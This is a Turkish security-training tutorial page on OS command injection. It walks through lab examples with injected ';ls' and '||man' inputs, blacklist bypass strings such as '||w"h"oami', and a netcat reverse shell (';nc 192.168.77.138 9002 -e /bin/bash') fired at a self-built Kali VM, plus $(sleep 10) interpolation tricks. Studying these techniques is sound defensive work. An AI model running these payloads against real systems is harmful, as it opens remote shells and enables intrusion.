Yavuzlar
Ana sayfaTelegram
  • Yavuzlar
  • VulnLab
  • CodinLab
  • 📚EĞİTİM
    • PHP
      • XAMPP kurulumu
      • VS Code Kurulum
      • 1.0 PHP Nedir
      • 1.1 Dosya Oluşturma
      • 1.2 Syntax (Yazım Kuralları)
      • 1.3 PHP'de Echo ve Print
      • 1.4 PHP'deki yorumlar
      • 1.5 PHP Değişkenleri
      • 1.6 Operatörler (Operators)
      • 1.7 Veri Türünü Alma
      • 1.8 PHP'de String
      • 1.9 PHP'de Sabitler
      • 2.0 PHP'de If Else Elseif
      • 2.1 Switch Case
      • 2.2 PHP'de Döngüler
      • 2.3 PHP'de Diziler (Arrays)
      • 2.4 PHP'de Süper Global Değişkenleri
      • 2.5 PHP'de Cookie (Çerez) Ve Session (Oturum) Yöntemleri
      • 2.6 Form işlemleri
    • C++
      • 1.0 Temeller
        • 1.1 Dosya Oluşturma
        • 1.2 Syntax (Yazım Kuralları)
        • 1.3 Yorum Satırları
        • 1.4 C++ Değişkenleri
          • 1.4.1 Değişken Türleri
        • 1.5 Operatörler (Operators)
        • 1.6 Namespace
        • 1.7 Kullanıcı Girdisi (User Input)
        • 1.8 C++ Stringleri (C++ Strings)
        • 1.9 Matematik (Math) Fonksiyonları
        • 1.10 Booleans
        • 1.11 If Else
        • 1.12 Switch
        • 1.13 While Döngüsü
          • 1.13.1 Do While Döngüsü
        • 1.14 For Döngüsü
        • 1.15 Break/Continue
        • 1.16 Diziler
        • 1.17 Structures
        • 1.18 Enums
        • 1.19 References
        • 1.20 Pointers
      • 2.0 Fonksiyonlar
      • 3.0 Sınıflar
        • 3.1 OOP
        • 3.2 Sınıflar ve Objeler
        • 3.3 Sınıf Methodları
        • 3.4 Yapıcılar (Constructors)
        • 3.5 Erişim Belirleyicileri (Access Specifiers)
        • 3.6 Kapsülleme (Encapsulation)
        • 3.7 Inheritance
        • 3.8 Polimorfizm (Polymorphism)
        • 3.9 Dosyalar (Files)
        • 3.10 İstisnalar (Exceptions)
        • 3.11 Tarih ve Zaman (Date and Time)
      • 4.0 Veri Yapıları (Data Structures)
        • 4.1 Veri Yapıları ve STL
        • 4.2 Vektörler (Vectors)
        • 4.3 Listeler (Lists)
        • 4.4 Yığınlar (Stacks)
        • 4.5 Kuyruklar (Queues)
        • 4.6 Deque (Çift Uçlu Kuyruk)
        • 4.7 Küme (Set)
        • 4.8 Maps
        • 4.9 Iterator
        • 4.10 Algoritmalar
  • 🛠️ARAÇLAR
    • Aircrack-ng
    • Airgeddon
    • Arjun
    • BeEF
    • Bettercap
    • Docker
    • Gelişmiş Wireshark Kullanımı (Advanced Wireshark Usage)
    • Google Dorks
    • Hping3
    • John the Ripper
    • Metasploit Framework
    • Netcat
    • Nmap
    • OSINT Framework
    • PEASS-ng
    • Sublist3r
    • XSS Scanner
    • Wireshark
    • ZAP
    • HYDRA
  • 🖥️İŞLETİM SİSTEMLERİ
    • Linux101
    • MBR
  • 🔑KRİPTOLOJİ
    • Dijital Sertifika ve İmzalar
    • Sezar Şifrelemesi
    • Steganografi
    • Veri Şifreleme (Data Encryption)
  • 🔏Network
    • Domain Name Server (DNS)
    • Firewall Nedir? Nasıl Çalışır ?
    • Ortadaki Adam Saldırısı (Man In The Middle Attack)
    • OSI Modeli
    • Sanal Özel Ağlar (VPN)
    • World Wide Web (WWW)
  • 🔐PRIVILEGED
    • Docker Escape
  • 📨Protokoller
    • ARP
    • DHCP
    • FTP
    • HTTP/HTTPS
    • SSH
    • TCP/IP
    • UDP
    • Wİ-Fİ Güvenlik Protokolleri (WEP/WPA/WPA2/WPA3)
  • 💻SİBER TEHDİT İSTİHBARATI
    • Gelişmiş Siber Tehdit İstihbaratı Nedir?
  • 🔒WEB GÜVENLİĞİ
    • 403 ByPass
    • API Güvenliği (API Security)
    • Broken Access Control
    • Bulut Güvenliği (Cloud Security)
    • Command Injection
    • Cross Origin Resource Sharing
    • Cross Site Request Forgery (CSRF)
    • Cyber Kill Chain
    • DDoS Saldırıları
    • File Upload Zafiyeti Nedir?
    • HTTP Request Smuggling
    • Insecure Direct Object Reference (IDOR)
    • Incident Response
    • Local File Inclusion (LFI)
    • NoSQL Injection
    • Pentest 101
    • Race Condition
    • Server Side Request Forgery (SSRF)
    • Server Side Template Injection (SSTI)
    • Spring4Shell
    • Two Factor Authentication Bypass
    • XML External Entity Attack (XEE)
  • 🤖YAPAY ZEKA
    • ChatGPT for Hacking
    • Siber Güvenlik ve Yapay Zeka
    • Yapay Zeka ile Sahte Fotoğraf Tespiti
  • 🌐YAZILIM
    • Düzenli İfadeler (Regular Expressions)
    • Elasticsearch Nedir?
    • Front-end Teknolojileri
    • Golang'da Arayüzler (Interfaces)
    • Go'da Concurrency ve Uygulamaları
    • Güvenli Kodlama (Secure Coding)
    • Java Overloading vs Overriding
    • JSON Web Token (JWT)
    • Material-UI
    • NextJS Nedir?
    • ReactJS Kancalar (Hooks)
    • ReactJS Nedir?
    • Redux Toolkit
    • SOLID Yazılım Geliştirme Prensipleri
    • SQL 101
    • UI / UX Nedir?
    • Veri Taşıma Nedir? (Database Migration)
    • Versiyon Kontrol Sistemleri ve GIT
  • 🔷DİĞER
    • Bug Bounty (Hata Ödülü) Nedir?
    • Popüler Yazılımların Kurulumları
      • Ubuntu Server 24.04 LTS Kurulumu
      • Ubuntu için Güncel Docker Engine Kurlumu
    • Güvenlik Operasyonları Merkezi Nedir?
    • Honeypot (Bal Küpü)
    • IoT Güvenliği Nedir?
    • ShellShock Exploit
    • Yük Dengeleyici (Load Balancer) Nedir?
Powered by GitBook
On this page
  • System Call ve Event
  • Send Ping 1
  • Send Ping 2
  • Command Injection ile Reverse Shell Alma
  • Linux Tricks

Was this helpful?

  1. 🔒WEB GÜVENLİĞİ

Command Injection

PreviousBulut Güvenliği (Cloud Security)NextCross Origin Resource Sharing

Last updated 4 months ago

Was this helpful?

Command injection, dışarıdan bir giriş değeri ile arka planda bir komutu çalıştıran bir programın amaçlanan giriş değeri dışında bir veriyi kabul ederek bunu çalıştırmasıdır. Bu işlem sırasında program, komutu normalde kullanıcıda olmaması gereken bir yetki seviyesinde çalıştırır ve çıktıyı kullanıcıya iletir. Bu işlem sırasında olaylar işletim sistemi ve sistem çağrıları içerdiği için bu zafiyete aynı zamanda "OS Command Injection" (İşletim Sistemi Komut Enjeksiyonu) da denir

System Call ve Event

Zafiyeti incelemeden önce basit düzeyde de olsa bir işletim sisteminin nasıl çalıştığını ve biz bir program çalıştırdığımız zaman kodun işletim sistemi ile nasıl haberleştiğini bilmemiz gerekir. İlk önce işletim sisteminin neden var olduğundan bahsedelim. İşletim sisteminin kendisi başlı başına bir güvenlik katmanı diyebiliriz. Fakat bu bildiğimiz güvenlik katmanları gibi değil. Burada işletim sistemi bizi sistemden doğacak veya yabancı bir kullanıcının sistemden bize gelecek saldırıları için korumuyor aksine sistemi bizden koruyor. Bilgisayar masaüstü, klasörler, uygulamalar vb. bunların hepsi işletim sisteminin bir parçası. Biz bunlara tıkladığımızda veya herhangi bir iletişime geçtiğimizde işletim sistemi bizim için arka planda bir “event” oluşturuyor. Yani biz en basitinden bir tarayıcı uygulamasını açtığımızda arka planda sisteme bu adam tarayıcıya girecek ne yapıyorsan dur veya ertele en erken zamanda tarayıcıyı aç diyen biri var. Bu olaylara system call’ar deniyor. Peki bunu neden biz yapamıyoruz. Çünkü arka planda eventler gerçekleşirken çok kaotik olaylar yaşanıyor ve bunlar isleri bilmeyen bir kişi tarafından kurcalanırsa donanımsal ve yazılımsal olarak geri donuşu olmayan hasarlar çıkabilir.

Derleyicilerde ayni işletim sistemleri gibi biz kod yazdığımız zaman arka planda işletim sistemi ile konuşuyor. İşletim sistemide bu konuşmayı Kernel seviyesinde mikroişlemciye iletiyor fakat bu kadar detay bilmemize gerek yok. Buradan anlamamız gereken şey bizim normal kullanıcı yetkisi ile yaptığımız çok basit bir şeyin bile elinde sonunda bilgisayarın en yetkili abisi olan kişiye danışılarak çalışabildiği. İste burada command injection zafiyeti cikiyor. Kullanıcıdan basit bir isim değeri alarak ekrana bastirilan bir program bile yeterli güvenlik filtreleri konulmadığı taktirde işletim sistemini kandıran bir input değeri alabiliyor. Bu konuya yazımın en sonunda linux tricklerinde bahsedeceğim. Ama ondan önce command injectionu vulnlab üzerinden kodlar ile anlatmak istiyorum.

Send Ping 1

Sorunun kaynak kodlarını incelediğimiz zaman input olarak girilen ip değerini php içerisinde bulunan “exec()” fonksiyonuna koyarak çalıştığını ve bunu ekrana yazdığını görüyoruz. Burada kullanılan “exec()” fonksiyonu sizin terminale bir şey yazdığınız gibi input değerini yazıp çıktısını alıyor.

Terminalde 2 farklı fonksiyonu çalıştırmak için “;” , “||” gibi bazı ayraçlar kullanılır. Eğer burada bu ayraçlardan biri ile başlayıp çalıştırmak istediğiniz komutu yazarsanız ayni bir terminalle iletişim kuruyormuş gibi istediğiniz çıktıyı alabilirsiniz.

";ls" komutunu yazdığımız zaman dosya dizininde bulunan belgeleri görebiliyoruz. Burada ";" işareti "and" anlamına geliyor. Yani bu kısımda hangi komut çalışırsa çalışsın noktalı virgülden sonra gelen ikinci bir bağımsız terminal komutunu da çalıştır anlamına geliyor. Kaynak kodda da gördüğümüz "exec()" fonksiyonu bu input değeri karşısında savunmasız kalıyor ve "ls" komutunun çıktısını bize döndürüyor.

Send Ping 2

Kaynak kodlarını inceldiğimiz zaman burada bir blacklist kullanıldığını fark ediyoruz.

Biraz araştırma sonucu “ya da” anlamına gelen “||” simgesinin blackliste dahil edilmediğini fark edebiliriz.

"||man" komutunu yazdığımız zaman "manual" çıktısını görebiliyoruz. Burada "||" işareti "or" anlamına geliyor. Bir önceki örnekteki gibi burada da ikinci bir komut çalıştırmak için kullandık. Buradaki tek fark, bu örnekte "||" harici kullanabileceğimiz tüm kaçış elemanları kara listeye alınmıştı.

Eğer blacklist içerisindeki bir komutu kullanmak istersek, kullandığımız komutun herhangi bir harfini '""' içerisine alabilir ya da komutun içerisindeki iki harf arasına "$()" işaretini koyup yazabiliriz. Bizim gözümüzde kod bozulmuş gibi gözükse bile sistem bu kodları eklediğimiz sembolleri yok sayarak okuyacak ve çalıştıracaktır fakat arkaplanda çalışan blacklist fonksiyonları bizim yazdığımız fazlalık harfleri blacklist ile eşleştiremediği için bir hata vermeyecektir.

Blacklist Bypass

||w"h"oami

||l$()s

Command Injection ile Reverse Shell Alma

Bu bölümde komut injection'ın ne kadar büyük sorunlara yol açabileceğini göstermek için bir senaryo tasarladım. İki adet Kali Linux sanal makinesi kurdum ve birinde yukarıdaki örnekteki gibi ping atılabilen bir site var. Bu sitede command injection zaafiyeti bıraktım. Sitenin çalıştığı sanal makine, saldırdığımız siteyi barındıran sunucu görevi görecek; ikinci makine ise bizim kullandığımız ana makine görevi görecek ve zaafiyeti sömürürken netcat ile dinleme yapacağız. Netcat ile reverse shell alırken gireceğim payloadları aşağıdaki siteden yararlanarak oluşturdum.

İlk olarak, girdiğimiz sitede ";ls" komutunu girerek bir command injection zaafiyeti olduğunu doğruladım.

Şimdi kendi bilgisayarımızda dinleme yapmak için 9002 portunu netcat ile dinlemeye aldım. Resmin üstünde gördüğünüz gibi saldırdığım bilgisayarın IP değeri 192.168.77.136.

Şimdi sitenin çalıştığı makineye geri dönerek ";nc 192.168.77.138 9002 -e /bin/bash" komutunu girdim. Bu komut, belirtilen IP adresindeki 9002 numaralı porta "/bin/bash" yetkisi ile bağlanıyor. Bir önceki resimde gördüğünüz gibi biz de kendi bilgisayarımızda bu port numarasını dinliyorduk.

Komutu girdikten sonra 192.168.77.129 numaralı bir cihazın bizim 9002 numaralı portumuza bağlandığını gördük. Bu IP, saldırıda bulunduğumuz siteyi çalıştıran sanal makineye ait.

Görebileceğiniz üzere, bağlandığımız sunucuda komut çalıştırarak sistem dosyalarını okuyabiliyoruz. Buradan sonrası, Linux yetki yükseltme zaafiyetleri ile yetkimizi "root" yapıp sistemi ele geçirmeye kalıyor. Bu yazı, bir web zaafiyetinin sömürülmesini anlattığı için buradan daha fazla ileri gitmeyeceğim.

Linux Tricks

Son olarak linux işletim sistemlerinde bulunan bir String Interpolation olayından bahsetmek istiyorum. String interpolation, bir dilde bir değişkenin veya ifadenin doğrudan bir metin içine eklenmesi işlemidir. Özellikle, bir işletim sistemi ortamında, komutlar içinde bu tür ifadelerin kullanılması oldukça yaygındır. Örneğin, Linux'ta, bir ifadeyi komut içinde doğrudan yerine koymak için çift tırnak işaretleri kullanılırken, tek tırnak işaretleri bu işlevselliği sağlamaz. Fakat her iki durumda sömürülmeye müsaittir.

// Çift tırnak varken zafiyet sömürümü
echo"merhaba, $(sleep 10)"
// Tek tırnak varken zafiyet sömürümü
echo 'merhaba '$(sleep 10)''

GitHub - Yavuzlar/VulnLabGitHub
Online - Reverse Shell Generator
Logo
Logo
BerkayAtass - OverviewGitHub
Bu yazı Berkay ATAŞ tarafından hazırlanmıştır.
Logo